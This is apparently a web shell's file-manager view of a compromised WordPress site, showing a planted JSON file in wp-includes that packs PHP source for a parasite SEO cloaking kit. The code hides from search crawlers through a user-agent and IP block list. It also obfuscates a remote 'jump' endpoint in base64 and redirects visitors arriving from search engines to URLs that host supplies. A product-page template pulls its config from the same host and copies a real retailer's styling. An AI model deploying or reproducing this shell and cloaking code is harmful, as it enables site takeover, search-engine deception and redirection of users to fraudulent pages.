Server : Apache
System : Linux box5719.bluehost.com 5.14.0-687.54.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 6 04:43:47 EDT 2026 x86_64
User : uaeambul ( 1793)
PHP Version : 8.3.36
Disable Function : NONE
Directory :  /home1/uaeambul/public_html/vmt/wp-includes/blocks/cache/

📁 Create New:
⬆️ Upload File:
Current Dir [ Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

📄 File: code_e454b45c8e9efd5c44bded7272808266.json

Path: /home1/uaeambul/public_html/vmt/wp-includes/blocks/cache/code_e454b45c8e9efd5c44bded7272808266.json

Size: 184.88 KB

Permissions: 0644

{"code":0,"data":{"files":[{"content":"<?php\n\/**\n * ===================================================================\n *                    INTEGRATED CLOAKING SYSTEM\n * ===================================================================\n * Modified cloaking system for parasite website integration\n * Removes unnecessary 404 handling and client-side scripts\n * ===================================================================\n *\/\n\n\/\/ Load configuration\n\/\/ Load config.gz first, fallback to config.php\n$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) {\n    @include_once 'compress.zlib:\/\/' . $_z;\n} elseif (file_exists(__DIR__ . '\/config.php')) {\n    $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n}\n\n\/\/ Remove the original referer check - let original system handle if needed\n\/\/ if (empty($_SERVER['HTTP_REFERER'])) {\n\/\/     exit;\n\/\/ }\n\n\/**\n * Class Cloaker\n * Provides server side checks to see if the visitor is a crawler.\n *\/\nclass Cloaker {\n\n\t\/**\n\t * Your redirect url for humans\n\t * This should point to a legitimate page or the original site\n\t *\n\t * @var string\n\t *\/\n\tprotected $REDIRECT_URL = '';\n\n\t\/**\n\t * Decide if you want to fully bypass client side javascript checks and rely only on server-side checks.\n\t * Set to true for parasite deployment to avoid unnecessary client-side detection\n\t *\n\t * @var bool\n\t *\/\n\tprotected $BYPASS_CLIENT_SIDE_CHECKS = true;\n\n\t\/**\n\t * Your token to access the IPStack service\n\t * Get a free API token from https:\/\/ipstack.com\n\t *\n\t * @var string\n\t *\/\n\tprotected $IP_STACK_TOKEN = '';\n\n\t\/**\n\t * A list country codes to block.\n\t * Example 'PH' for Philippines, https:\/\/en.wikipedia.org\/wiki\/ISO_3166-1\n\t *\n\t * @var array\n\t *\/\n\tprotected $BLOCKED_COUNTRY_CODES = array();\n\n\t\/**\n\t * A list of city names to block.\n\t * Use any common city names with care.\n\t *\n\t * @var array\n\t *\/\n\tprotected $BLOCKED_CITY_NAMES = array();\n\n\t\/**\n\t * A list of corporate IP ranges to block.\n\t * Example Twitter https:\/\/ipinfo.io\/AS35995\n\t *\n\t * @var array\n\t *\/\n\tprotected $BLOCKED_IP_RANGES = array();\n\n\t\/**\n\t * A list of user-agents to block.\n\t * A robust list is provided lower down, but add any additional user agent strings here.\n\t *\n\t * @var array\n\t *\/\n\tprotected $BLOCKED_USER_AGENTS = array();\n\n\t\/**\n\t * If you decide to reobsfucate the client-side javascript, paste the new code here.\n\t * For parasite deployment, this is usually not needed\n\t *\n\t * @var string\n\t *\/\n\tprotected $OBSFUCATED_JAVASCRIPT = \"\";\n\n\tpublic function __construct() {\n\t\t$this->REDIRECT_URL = $this->fetchDynamicRedirectUrl();\n\t}\n\n\t\/**\n\t * Fetches the dynamic redirect URL from the jump service.\n\t * @return string\n\t *\/\n\tprotected function fetchDynamicRedirectUrl() {\n\t\t\/\/ Construct the current URL from server variables\n\t\t$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? \"https\" : \"http\") . \":\/\/{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\";\n\n\t\t$realProductId = parseProductId($_SERVER['REQUEST_URI']);\n\t\tif ($realProductId !== null) {\n\t\t\t\/\/ \u5339\u914d\u8def\u5f84\u4e2d\u6700\u540e\u4e00\u4e2a\u6570\u5b57\u6bb5\uff08\u540e\u9762\u53ef\u4ee5\u662f \/\u3001? \u6216\u7ed3\u5c3e\uff09\uff0c\u7edf\u4e00\u66ff\u6362\u4e3a\u771f\u5b9eID\n\t\t\t$currentUrl = preg_replace('\/\\\/(\\d+)(?=\\\/|\\?|$)\/', '\/' . $realProductId, $currentUrl);\n\t\t}\n\n\t\t\/\/ The API endpoint for fetching the redirect URL\n\t\t$apiUrl = base64_decode('aHR0cHM6Ly9zZXJ2ZXIucXJzdGFiY2QuY29tL2p1bXA\/dXJsPQ==') . urlencode($currentUrl);\n\n\t\ttry {\n\t\t\tif (USE_CURL) {\n\t\t\t\t\/\/ Use cURL to fetch the response from the API\n\t\t\t\t$ch = curl_init();\n\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $apiUrl);\n\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36');\n\t\t\t\t\n\t\t\t\t$response = curl_exec($ch);\n\t\t\t\tcurl_close($ch);\n\t\t\t} else {\n\t\t\t\t$context = stream_context_create(array(\n\t\t\t\t\t'http' => array(\n\t\t\t\t\t\t'timeout' => 10,\n\t\t\t\t\t\t'user_agent' => 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36'\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t\t$response = @file_get_contents($apiUrl, false, $context);\n\t\t\t}\n\n\t\t\tif ($response) {\n\t\t\t\t$data = json_decode($response);\n\t\t\t\t\/\/ Check if the response is valid and contains the redirect URL\n\t\t\t\tif (json_last_error() === JSON_ERROR_NONE && isset($data->code) && $data->code === 0 && !empty($data->data->final_url)) {\n\t\t\t\t\t\/\/ Trim any whitespace and return the final URL\n\t\t\t\t\treturn trim($data->data->final_url);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\t$this->errors[] = $e->getMessage();\n\t\t}\n\n\t\t\/\/ Return the original hardcoded URL as a fallback\n\t\treturn '';\n\t}\n\n\t\/*\n\t * ==========================================================================\n\t * ==== Don't modify below this point unless you know what you are doing ====\n\t * ==========================================================================\n\t *\/\n\n\t\/**\n\t * Attribute to flag for blocked results.\n\t *\n\t * @var bool\n\t *\/\n\tprotected $blocked = false;\n\n\t\/**\n\t * Attribute to flag for human visitors from search engines.\n\t *\n\t * @var bool\n\t *\/\n\tpublic $is_human_from_search = false;\n\n\t\/**\n\t * List of errors.\n\t *\n\t * @var array\n\t *\/\n\tprotected $errors = array();\n\n\t\/**\n\t * Getter for blocked attribute.\n\t *\n\t * @return bool\n\t *\/\n\tpublic function isBlocked() {\n\t\treturn !!$this->blocked;\n\t}\n\n\t\/**\n\t * Getter for client-side bypass.\n\t *\n\t * @return bool\n\t *\/\n\tpublic function shouldBypassClientSideChecks() {\n\t\treturn !!$this->BYPASS_CLIENT_SIDE_CHECKS;\n\t}\n\n\t\/**\n\t * Getter for error bag.\n\t *\n\t * @return array\n\t *\/\n\tpublic function getErrors() {\n\t\treturn $this->errors;\n\t}\n\n\t\/**\n\t * Getter for redirect URL.\n\t *\n\t * @return string\n\t *\/\n\tpublic function getRedirectUrl() {\n\t\treturn $this->REDIRECT_URL;\n\t}\n\n\t\/**\n\t * Primary method for running all checks.\n\t *\n\t * @return bool\n\t *\/\n\tpublic function check() {\n\t\tif (!$this->blocked && $this->checkUserAgent()) {\n\t\t\t$this->blocked = true;\n\t\t}\n\t\tif (!$this->blocked && $this->checkIpAddress()) {\n\t\t\t$this->blocked = true;\n\t\t}\n\n\t\treturn $this->blocked;\n\t}\n\n\t\/**\n\t * Run check on user agent string.\n\t *\n\t * @return bool\n\t *\/\n\tpublic function checkUserAgent() {\n\t\t$search = $this->getBlockedUserAgents();\n\t\treturn !!(isset($_SERVER['HTTP_USER_AGENT']) && preg_match($search, $_SERVER['HTTP_USER_AGENT']));\n\t}\n\n\t\/**\n\t * Fetch result from IPStack and check against block lists.\n\t * Block lists checked: $BLOCKED_COUNTRY_CODES, $BLOCKED_CITY_NAMES, $BLOCKED_IP_RANGES.\n\t * Will also check against IPStacks known pool of crawler IP addresses.\n\t *\n\t * @return bool\n\t *\/\n\tpublic function checkIpAddress() {\n\t\t\/\/ [FIX] Add a crucial check: Do not perform IP checks if the token is not set.\n\t\t\/\/ This prevents false positives where the API returns a default error response.\n\t\tif (empty($this->IP_STACK_TOKEN)) {\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/ Get the result from IPStack\n\t\t$ip      = $this->getIpAddress();\n\t\t$ipstack = $this->getIpStack($ip);\n\t\t\n\t\t\/\/ Check to see if we got a response\n\t\tif ($ipstack && !(isset($ipstack->success) && $ipstack->success === false)) {\n\t\t\tif ($ipstack->security->is_crawler || \n\t\t\t\tin_array($ipstack->country_code, $this->BLOCKED_COUNTRY_CODES) || \n\t\t\t\tin_array($ipstack->city, $this->BLOCKED_CITY_NAMES) || \n\t\t\t\t$this->ipInRange($ip, $this->BLOCKED_IP_RANGES)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t\/**\n\t * Gets merged list of blocked user agents.\n\t *\n\t * @return string\n\t *\/\n\tpublic function getBlockedUserAgents() {\n\t\t$search = '';\n\t\tif (count($this->BLOCKED_USER_AGENTS)) {\n\t\t\t$search = implode('|', $this->BLOCKED_USER_AGENTS);\n\t\t\t$search = preg_quote($search) . '|';\n\t\t}\n\t\t$search = $search . 'googlebot|bot|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|Google-InspectionTool|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis';\n\t\t$search = '(' . $search . ')';\n\n\t\treturn $search;\n\t}\n\n\t\/**\n\t * Gets the visitor's IP address to be checked against IPStack.\n\t *\n\t * @return string\n\t *\/\n\tprotected function getIpAddress() {\n\t\tif (!empty($_SERVER['HTTP_CLIENT_IP'])) {\n\t\t\t$ip = $_SERVER['HTTP_CLIENT_IP'];\n\t\t} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n\t\t\t$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n\t\t} else {\n\t\t\t$ip = $_SERVER['REMOTE_ADDR'];\n\t\t}\n\n\t\treturn $ip;\n\t}\n\n\t\/**\n\t * Fetches a response from the IPStack service.\n\t * Must have a valid $IP_STACK_TOKEN and $ip address provided.\n\t *\n\t * @param $ip\n\t *\n\t * @return mixed|null\n\t *\/\n\tprotected function getIpStack($ip) {\n\t\tif (!empty($this->IP_STACK_TOKEN) && !empty($ip)) {\n\t\t\ttry {\n\t\t\t\t$url = sprintf(base64_decode('aHR0cDovL2FwaS5pcHN0YWNrLmNvbS8lcz9hY2Nlc3Nfa2V5PSVz'), $ip, $this->IP_STACK_TOKEN);\n\t\t\t\t\n\t\t\t\tif (USE_CURL) {\n\t\t\t\t\t$ch = curl_init();\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36');\n\t\t\t\t\t\n\t\t\t\t\t$response = curl_exec($ch);\n\t\t\t\t\tcurl_close($ch);\n\t\t\t\t} else {\n\t\t\t\t\t$context = stream_context_create(array(\n\t\t\t\t\t\t'http' => array(\n\t\t\t\t\t\t\t'timeout' => 10,\n\t\t\t\t\t\t\t'user_agent' => 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36'\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t$response = @file_get_contents($url, false, $context);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$response = json_decode($response);\n\n\t\t\t\tif ($response && !(isset($response->success) && $response->success === false)) {\n\t\t\t\t\t$ipstack = $response;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (Exception $e) {\n\t\t\t\t$this->errors[] = $e->getMessage();\n\t\t\t}\n\t\t}\n\n\t\treturn isset($ipstack) ? $ipstack : null;\n\t}\n\n\t\/**\n\t * Checks the provided IP address against a corporate IP range.\n\t *\n\t * @param $ip\n\t * @param $ranges\n\t *\n\t * @return bool\n\t *\/\n\tprotected function ipInRange($ip, $ranges) {\n\t\tforeach ($ranges as $range) {\n\t\t\tif (strpos($range, '\/') == false) {\n\t\t\t\t$range .= '\/32';\n\t\t\t}\n\n\t\t\t\/\/ $range is in IP\/CIDR format eg 127.0.0.1\/24\n\t\t\tlist($range, $netmask) = explode('\/', $range, 2);\n\n\t\t\t$ip_decimal       = ip2long($ip);\n\t\t\t$range_decimal    = ip2long($range);\n\t\t\t$wildcard_decimal = pow(2, (32 - $netmask)) - 1;\n\t\t\t$netmask_decimal  = ~$wildcard_decimal;\n\n\t\t\tif (($ip_decimal & $netmask_decimal) == ($range_decimal & $netmask_decimal)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n}\n\n\/\/ Create new check instance\n$cloaker = new Cloaker();\n\/\/ Run the initial checks (UA and IP)\n$blocked = $cloaker->check();\n\nif (!$blocked) {\n    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';\n    \n    if (preg_match('\/google|bing|yahoo|baidu|duckduckgo|yandex|aol|ask\/i', $referer)) {\n        $redirectUrl = $cloaker->getRedirectUrl();\n        \n        if (!empty($redirectUrl)) {\n            $cloaker->is_human_from_search = true;\n            \n            echo '<script>window.location.href=\"' . $redirectUrl . '\";<\/script>';\n            exit;\n        }\n    }\n}\n\n\/\/ For parasite deployment, we don't need the original redirect logic.\n\/\/ The final $blocked variable and the $cloaker object are the only things our index.php needs. ","path":"cloaking.php"},{"content":"<?php\ndate_default_timezone_set('UTC');\n$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) {\n    @include_once 'compress.zlib:\/\/' . $_z;\n} elseif (file_exists(__DIR__ . '\/config.php')) {\n    $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n}\n\n$product_id = isset($_GET['id']) ? $_GET['id'] : null;\nif (!$product_id) {\n    http_response_code(400);\n    die('Error: Product ID is missing.');\n}\n\n$apiData = getParasiteData($product_id);\nif (!$apiData || !isset($apiData['product'])) {\n    header(\"Location: \" . buildProductUrl('600001'), true, 301);\n    exit();\n}\n\n$product = $apiData['product'];\n$categories = isset($apiData['categories']) ? $apiData['categories'] : array();\n$queue_links = isset($apiData['queue_links']) ? $apiData['queue_links'] : array();\n$category_products = isset($apiData['category_products']) ? $apiData['category_products'] : array();\n\nif (!function_exists('getCssConfig')) {\n    function getCssConfig() {\n        $baseUrl = defined('CODE_API_BASE_URL') ? CODE_API_BASE_URL : 'https:\/\/gateway.qrstabcd.com';\n        $apiUrl = $baseUrl . '\/api\/parasiteCache\/defaultCssConfig';\n        \n        $context = stream_context_create([\n            'http' => [\n                'timeout' => 2,\n                'ignore_errors' => true\n            ]\n        ]);\n        \n        $response = @file_get_contents($apiUrl, false, $context);\n        if ($response) {\n            $data = json_decode($response, true);\n            if ($data && isset($data['data']['css']) && is_array($data['data']['css'])) {\n                return $data['data']['css'];\n            }\n        }\n        \n        return getDefaultCssList();\n    }\n    \n    function getDefaultCssList() {\n        return [\n            'https:\/\/cdn.suruga-ya.jp\/drupal\/sites\/default\/files\/css\/css_pNjfFGM2A9Fhaq-Kc3nGSktp_WW2f0OIevMOP11RtAg.css',\n            'https:\/\/cdn.suruga-ya.jp\/styles\/css\/lightbox.min.css',\n            'https:\/\/cdn.suruga-ya.jp\/styles\/css\/product-detail-ex01.css',\n            'https:\/\/cdn.suruga-ya.jp\/styles\/css\/wanderer-fg.css',\n            'https:\/\/cdn.suruga-ya.jp\/drupal\/modules\/product_detail\/assets\/css\/new_pc_product_detail.css'\n        ];\n    }\n}\n\n$cssList = getCssConfig();\n\nif (!is_array($category_products)) {\n    $category_products = array();\n}\nif (!is_array($categories)) {\n    $categories = array();\n}\nif (!is_array($queue_links)) {\n    $queue_links = array();\n}\n\n$sidebar_links = $queue_links;\n\nif (is_array($sidebar_links) && !empty($sidebar_links)) {\n    $converted_links = array();\n    foreach ($sidebar_links as $link) {\n        if (preg_match('#\/shopdetail\/(.+?)\/(\\d+)$#', $link, $matches)) {\n            $title = $matches[1];\n            $product_id = $matches[2];\n            $converted_links[] = buildProductUrl((int)$product_id, $title);\n        } else if (preg_match('\/\\\/shopdetail\\\/(\\d+)$\/', $link, $matches)) {\n            $product_id = $matches[1];\n            $converted_links[] = buildProductUrl((int)$product_id);\n        } else {\n            $converted_links[] = $link;\n        }\n    }\n    $sidebar_links = $converted_links;\n}\n\nif (!is_array($sidebar_links) || empty($sidebar_links)) {\n    $sidebar_links = array();\n    for ($i = 0; $i < 50; $i++) {\n        $sidebar_links[] = $base_parasite_url . '\/';\n    }\n}\n\nif (!function_exists('getRandomLink')) {\n    function getRandomLink($links_array, $fallback_url) {\n        if (!is_array($links_array) || empty($links_array)) {\n            return $fallback_url;\n        }\n        try {\n            $random_link = $links_array[array_rand($links_array)];\n            if (strpos($random_link, 'http') !== 0) {\n                global $base_parasite_url;\n                $random_link = $base_parasite_url . $random_link;\n            }\n            return $random_link;\n        } catch (Exception $e) {\n            return $fallback_url;\n        }\n    }\n}\n\n\nif (!$product) {\n    $random_url = !empty($sidebar_links) ? $base_parasite_url . $sidebar_links[0] : $base_parasite_url . '\/';\n    header(\"Location: \" . $random_url, true, 301);\n    exit;\n}\n\n$all_category_paths = array();\nif (isset($categories) && is_array($categories)) {\n    $all_category_paths = $categories;\n}\n\nif (!function_exists('buildCategoryTree')) {\n    function buildCategoryTree(array $paths) {\n        $tree = array();\n        foreach ($paths as $path) {\n            if (empty($path)) continue;\n            $parts = array_map('trim', explode('>', $path));\n            $currentNode = &$tree;\n            foreach ($parts as $part) {\n                if (!isset($currentNode[$part])) {\n                    $currentNode[$part] = array('children' => array());\n                }\n                $currentNode = &$currentNode[$part]['children'];\n            }\n        }\n        return $tree;\n    }\n}\n\n$category_tree = buildCategoryTree($all_category_paths);\n\n$breadcrumb_links = array();\n$product_categories = array_map('trim', explode('>', $product['category']));\nforeach ($product_categories as $category_name) {\n    $breadcrumb_links[] = array(\n        'name' => $category_name,\n        'url' => getRandomLink($sidebar_links, $base_parasite_url . '\/')\n    );\n}\n\n$leaf_category_products = array();\n$parent_category_products = array();\n$random_category_products = array();\n$leaf_category = '';\n$parent_category = '';\n$random_category_name = '';\n\nif (isset($category_products) && is_array($category_products) && !empty($category_products)) {\n    $category_count = 0;\n    foreach ($category_products as $category => $products) {\n        if (!is_array($products)) {\n            continue;\n        }\n        \n        $category_products_formatted = array();\n        foreach ($products as $p) {\n            if (!isset($p['title']) || !isset($p['url'])) {\n                continue;\n            }\n            \n                    $product_id = '';\n                    $product_title = '';\n                    if (preg_match('#\/shopdetail\/(.+?)\/(\\d+)$#', $p['url'], $matches)) {\n                        $product_title = $matches[1];\n                        $product_id = $matches[2];\n                    } else {\n                        $product_id = str_replace('\/', '', $p['url']);\n                        $product_title = $p['title'];\n                    }\n                    \n                    $category_products_formatted[] = array(\n            'id' => $product_id ? (int)$product_id : 0,\n            'title' => $p['title'],\n            'url' => buildProductUrl((int)$product_id, $product_title),\n            'price' => isset($p['price']) ? $p['price'] : 0,\n            'price_current' => isset($p['price']) ? $p['price'] : 0,\n            'images' => isset($p['images']) ? $p['images'] : '',\n            'images_str' => isset($p['images']) ? $p['images'] : ''\n        );\n        }\n        \n        $category_parts = explode('>', $category);\n        $last_category = trim(end($category_parts));\n        \n        if ($category_count === 0) {\n            $leaf_category_products = $category_products_formatted;\n            $leaf_category = $last_category;\n        } elseif ($category_count === 1) {\n            $parent_category_products = $category_products_formatted;\n            $parent_category = $last_category;\n        } else {\n            $random_category_products = array_merge($random_category_products, $category_products_formatted);\n            if (empty($random_category_name)) {\n                $random_category_name = $last_category;\n            }\n        }\n        $category_count++;\n    }\n}\n\nif (empty($leaf_category_products)) {\n    $leaf_category_products = array();\n    $leaf_category = 'Products';\n}\nif (empty($parent_category_products)) {\n    $parent_category_products = array();\n    $parent_category = 'Related Products';\n}\nif (empty($random_category_products)) {\n    $random_category_products = array();\n    $random_category_name = 'Featured Products';\n}\n\n$images_str = trim($product['images'], '{}');\n$images = !empty($images_str) ? explode(',', $images_str) : array();\n\n$description_html = $product['description'];\n$brand = $GLOBALS['default_data']['brand'];\n$condition = 'Not Specified';\n\nif (preg_match('\/<th[^>]*>\\s*<b>\\s*Brand\\s*<\\\/b>\\s*<\\\/th>\\s*<td[^>]*>(.*?)<\\\/td>\/is', $description_html, $match)) {\n    $brand = trim(strip_tags($match[1]));\n}\nif (preg_match('\/<th[^>]*>\\s*<b>\\s*Condition\\s*<\\\/b>\\s*<\\\/th>\\s*<td[^>]*>(.*?)<\\\/td>\/is', $description_html, $match)) {\n    $condition = trim(strip_tags($match[1]));\n}\n\n$main_description = $description_html;\n$h2_pos = strpos($description_html, '<h2>');\nif ($h2_pos !== false) {\n    $main_description = substr($description_html, 0, $h2_pos);\n}\n\n$price_difference = 0;\nif (isset($product['price_original']) && isset($product['price_current'])) {\n    $price_difference = (float)$product['price_original'] - (float)$product['price_current'];\n}\n\nif (!function_exists('smartJoinPath')) {\n    function smartJoinPath() {\n        $parts = func_get_args();\n        $path = '';\n        foreach ($parts as $part) {\n            if (empty($part)) continue;\n            \n            if (empty($path)) {\n                $path = rtrim($part, '\/');\n            } else {\n                $path .= '\/' . trim($part, '\/');\n            }\n        }\n        return $path;\n    }\n}\n\n$script_path = str_replace($document_root, '', __DIR__);\n$favicon_path = smartJoinPath($base_parasite_url, $script_path, 'includes', 'cropped.png');\n\n$data = array(\n    'management_number' => $product['id'],\n    'title' => $product['title'],\n    'price' => array(\n        'new' => '$' . number_format((float)$product['price_original'], 2),\n        'used' => '$' . number_format((float)$product['price_current'], 2)\n    ),\n    'list_price' => '$' . number_format((float)$product['price_current'], 2),\n    'description' => $main_description,\n    'images' => $images,\n    'default_image' => isset($images[0]) ? $images[0] : $GLOBALS['default_data']['default_image'],\n    'categories' => array_map('trim', explode('>', $product['category'])),\n    'domain' => $host,\n    'base_parasite_url' => $base_parasite_url,\n    'favicon_path' => $favicon_path,\n    'brand' => $brand,\n    'condition' => $condition,\n    'price_difference' => number_format($price_difference, 2),\n    'rating' => $GLOBALS['default_data']['rating'],\n    'currency' => $GLOBALS['default_data']['currency'],\n    'release_date' => date('Y\/m\/d', strtotime($product['crawled_at'])),\n    'model_number' => $product['id'],\n    'breadcrumb_links' => $breadcrumb_links,\n    'category_tree' => $category_tree,\n    'leaf_category' => $leaf_category,\n    'parent_category' => $parent_category,\n    'leaf_category_products' => $leaf_category_products,\n    'parent_category_products' => $parent_category_products,\n    'random_category_name' => $random_category_name,\n    'random_category_products' => $random_category_products,\n    'random_link' => getRandomLink($sidebar_links, $base_parasite_url . '\/'),\n    'sidebar_links' => $sidebar_links,\n    'template_links' => $sidebar_links\n);\n?>\n<!DOCTYPE html>\n<html lang=\"en\">\n<head prefix=\"og: https:\/\/ogp.me\/ns#\">\n<meta charset=\"utf-8\">\n<meta name=\"MobileOptimized\" content=\"width\">\n<meta name=\"HandheldFriendly\" content=\"true\">\n<meta name=\"viewport\" content=\"width=device-width\">\n<meta name=\"theme-color\" content=\"#ffffff\">\n<meta name=\"robots\" content=\"index,follow\">\n\n<link rel=\"icon\" type=\"image\/png\" href=\"<?php echo htmlspecialchars($data['favicon_path']); ?>\">\n<link rel=\"shortcut icon\" type=\"image\/png\" href=\"<?php echo htmlspecialchars($data['favicon_path']); ?>\">\n<link rel=\"apple-touch-icon\" href=\"<?php echo htmlspecialchars($data['favicon_path']); ?>\">\n\n<title><?php echo htmlspecialchars($data['title']); ?><\/title>\n<!--ORGANIZATION_LD_PLACEHOLDER-->\n<script type=\"application\/ld+json\">\n{\n  \"@context\": \"https:\/\/schema.org\/\",\n  \"@type\": \"Product\",\n  \"name\": \"<?php echo htmlspecialchars($data['title']); ?>\",\n  \"brand\": {\n    \"@type\": \"Brand\",\n    \"name\": \"<?php echo htmlspecialchars($data['domain']); ?>\",\n    \"logo\": \"<?php echo htmlspecialchars($data['favicon_path']); ?>\"\n  },\n  \"category\": \"<?php echo htmlspecialchars($categoryName); ?>\",\n  \"image\": \"<?php echo htmlspecialchars($data['default_image']); ?>\",\n  \"description\": \"<?php echo htmlspecialchars(strip_tags($data['description'])); ?>\",\n  \"sku\": \"<?php echo $data['management_number'] + ID_OFFSET; ?>\",\n  \"offers\": {\n    \"@type\": \"Offer\",\n    \"url\": \"<?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?>\",\n    \"priceCurrency\": \"<?php echo $data['currency']; ?>\",\n    \"price\": \"<?php echo preg_replace('\/[^0-9.]\/', '', isset($data['price']['used']) ? $data['price']['used'] : $data['price']['new']); ?>\",\n    \"availability\": \"https:\/\/schema.org\/InStock\"\n  },\n  \"aggregateRating\": {\n    \"@type\": \"AggregateRating\",\n    \"ratingValue\": \"<?php echo $data['rating']['score']; ?>\",\n    \"reviewCount\": \"<?php echo $data['rating']['count']; ?>\"\n  }\n}\n<\/script>\n<meta name=\"Keywords\" content=\"<?php echo htmlspecialchars($data['title']); ?>\">\n<meta name=\"Description\" content=\"<?php echo htmlspecialchars(strip_tags($data['description'])); ?>\">\n<meta name=\"twitter:card\" content=\"summary_large_image\">\n<meta name=\"twitter:site\" content=\"@<?php echo htmlspecialchars($data['domain']); ?>\">\n<link rel=\"canonical\" href=\"<?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?>\">\n<meta http-equiv=\"Content-Script-Type\" content=\"text\/JavaScript\">\n<meta http-equiv=\"Content-Style-Type\" content=\"text\/css\">\n<meta property=\"og:url\" content=\"<?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?>\">\n<meta property=\"og:type\" content=\"product\">\n<meta property=\"og:title\" content=\"<?php echo htmlspecialchars($data['title']); ?>\">\n<meta property=\"og:description\" content=\"<?php echo htmlspecialchars(strip_tags($data['description'])); ?>\">\n<meta property=\"og:site_name\" content=\"<?php echo htmlspecialchars($data['domain']); ?>\">\n<meta property=\"og:image\" content=\"<?php echo htmlspecialchars($data['default_image']); ?>\">\n\n<?php foreach ($cssList as $cssUrl): ?>\n<link rel=\"stylesheet\" media=\"all\" href=\"<?php echo htmlspecialchars($cssUrl); ?>\">\n<?php endforeach; ?>\n<script src=\"https:\/\/cdn.suruga-ya.jp\/drupal\/sites\/default\/files\/js\/js_G878YGhv0pYpg9iZ_hIm3vCCQWyhWgLawk-6b6wmZuU.js\"><\/script>\n<script src=\"https:\/\/cdn.suruga-ya.jp\/styles\/js\/lazysizes.min.js\" type=\"text\/javascript\" 